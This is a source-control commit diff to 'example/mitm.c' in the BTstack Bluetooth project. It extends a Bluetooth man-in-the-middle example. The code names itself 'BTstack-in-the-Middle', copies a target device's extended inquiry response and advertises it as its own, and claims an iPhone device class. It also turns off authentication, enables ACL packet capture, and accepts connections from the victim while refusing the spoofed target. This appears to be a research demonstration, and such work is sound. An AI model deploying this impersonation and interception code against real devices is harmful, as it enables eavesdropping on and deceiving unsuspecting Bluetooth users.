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try different stuff

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This commit is contained in:
matthias.ringwald 2009-08-25 21:40:17 +00:00
parent bbed6963f5
commit 4b98823d28
1 changed files with 62 additions and 31 deletions
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57
example/mitm.c
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@ -13,6 +13,7 @@
#include "../src/run_loop.h" #include "../src/run_loop.h"
#include "../src/hci.h" #include "../src/hci.h"
#define NAME "BTstack-in-the-Middle"
#define EIR_LEN 240 #define EIR_LEN 240
// there is the target: BOB // there is the target: BOB
@ -53,15 +54,17 @@ void data_handler(uint8_t *packet, uint16_t size){
} }
void event_handler(uint8_t *packet, uint16_t size){ void event_handler(uint8_t *packet, uint16_t size){
// bt stack activated, get started - set local name // bt stack activated, get started - set local name
if (packet[0] == HCI_EVENT_BTSTACK_WORKING || if (packet[0] == HCI_EVENT_BTSTACK_WORKING ||
(packet[0] == HCI_EVENT_BTSTACK_STATE && packet[2] == HCI_STATE_WORKING)) { (packet[0] == HCI_EVENT_BTSTACK_STATE && packet[2] == HCI_STATE_WORKING)) {
bt_send_cmd(&hci_write_local_name, "BTstack-in-the-Middle"); bt_send_cmd(&hci_write_local_name, NAME);
}
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_local_name) ) {
bt_send_cmd(&hci_write_class_of_device, 0x7A020C); // used on iPhone
} }
// use pairing yes/no // use pairing yes/no
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_local_name) ) { if ( COMMAND_COMPLETE_EVENT(packet, hci_write_class_of_device) ) {
bt_send_cmd(&hci_write_authentication_enable, 0); bt_send_cmd(&hci_write_authentication_enable, 0);
} }
@ -75,9 +78,13 @@ void event_handler(uint8_t *packet, uint16_t size){
bt_send_cmd(&hci_set_event_mask, 0xffffffff, 0x1fffffff); bt_send_cmd(&hci_set_event_mask, 0xffffffff, 0x1fffffff);
} }
// fine with us, too
if ( COMMAND_COMPLETE_EVENT(packet, hci_set_event_mask) ) {
bt_send_cmd(&hci_write_simple_pairing_mode, 1);
}
// start inquiry // start inquiry
if ( COMMAND_COMPLETE_EVENT(packet, hci_set_event_mask) ) { if ( COMMAND_COMPLETE_EVENT(packet, hci_write_simple_pairing_mode) ) {
// enable capure // enable capure
bt_send_cmd(&btstack_set_acl_capture_mode, 1); bt_send_cmd(&btstack_set_acl_capture_mode, 1);
@ -86,23 +93,43 @@ void event_handler(uint8_t *packet, uint16_t size){
} }
// process EIR responses // process EIR responses
if (packet[0] == HCI_EVENT_EXTENDED_INQUIRY_RESPONSE && packet[17] && !bob_got_EIR) { if (packet[0] == HCI_EVENT_EXTENDED_INQUIRY_RESPONSE && packet[17]) {
printf("2. Got BOB's EIR.\n"); bt_flip_addr(temp_addr, &packet[3]);
memcpy(bob_EIR, &packet[17], EIR_LEN); if (BD_ADDR_CMP(temp_addr, bob_addr)) {
printf("2. Got BOB's EIR. ");
int i, k;
bzero(bob_EIR, EIR_LEN);
for (i=17, k=0;i<EIR_LEN && packet[i]; i += packet[i] + 1, k += bob_EIR[k] + 1){
if (packet[i+1] == 0x09) {
// complete name id -- use own
bob_EIR[k+0] = 1 + strlen(NAME);
bob_EIR[k+1] = 0x09;
memcpy(&bob_EIR[k+2], NAME, strlen(NAME));
} else {
// vendor specific
if (packet[i+1] == 0x0ff ) {
bob_got_EIR = 1; bob_got_EIR = 1;
}
memcpy(&bob_EIR[k], &packet[i], packet[i]+1);
}
}
hexdump(&bob_EIR, k);
printf("\n\n");
bob_clock_offset = READ_BT_16(packet, 14); bob_clock_offset = READ_BT_16(packet, 14);
bob_page_scan_repetition_mode = packet[9]; bob_page_scan_repetition_mode = packet[9];
}
// stop inquiry // stop inquiry
bt_send_cmd(&hci_inquiry_cancel); // bt_send_cmd(&hci_inquiry_cancel);
} }
// Inquiry done, set EIR // Inquiry done, set EIR
if (packet[0] == HCI_EVENT_INQUIRY_COMPLETE || COMMAND_COMPLETE_EVENT(packet, hci_inquiry_cancel)){ if (packet[0] == HCI_EVENT_INQUIRY_COMPLETE || COMMAND_COMPLETE_EVENT(packet, hci_inquiry_cancel)){
if (!inquiry_done){ if (!inquiry_done){
inquiry_done = 1; inquiry_done = 1;
printf("3. Inquiry Complete\n", bob_got_EIR); printf("3. Inquiry Complete\n");
if (bob_got_EIR){ if (bob_got_EIR){
printf("4. Set own EIR to Bob's.\n"); printf("4. Set EIR to Bob's.\n");
bt_send_cmd(&hci_write_extended_inquiry_response, 0, bob_EIR); bt_send_cmd(&hci_write_extended_inquiry_response, 0, bob_EIR);
} else { } else {
// failed to get BOB's EIR // failed to get BOB's EIR
@ -113,17 +140,21 @@ void event_handler(uint8_t *packet, uint16_t size){
// Connect to BOB // Connect to BOB
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_extended_inquiry_response) ) { if ( COMMAND_COMPLETE_EVENT(packet, hci_write_extended_inquiry_response) ) {
printf("5. Waiting for Alice!...\n"); printf("5. Waiting for Alice!...\n");
// bt_send_cmd(&hci_write_scan_enable, 3); // 3 inq scan + page scan
// bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0); // bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
} }
// accept incoming connections // accept incoming connections
if (packet[0] == HCI_EVENT_CONNECTION_REQUEST){ if (packet[0] == HCI_EVENT_CONNECTION_REQUEST){
printf("-> Connection request from ");
bt_flip_addr(temp_addr, &packet[2]); bt_flip_addr(temp_addr, &packet[2]);
print_bd_addr(temp_addr); if (BD_ADDR_CMP(temp_addr, bob_addr) ){
printf(", sending accept.\n"); printf("-> Connection request from BOB. Denying\n");
// bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1);
} else {
printf("-> Connection request from Alice. Sending Accept\n");
bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1); bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1);
} }
}
// handle connections // handle connections
if (packet[0] == HCI_EVENT_CONNECTION_COMPLETE) { if (packet[0] == HCI_EVENT_CONNECTION_COMPLETE) {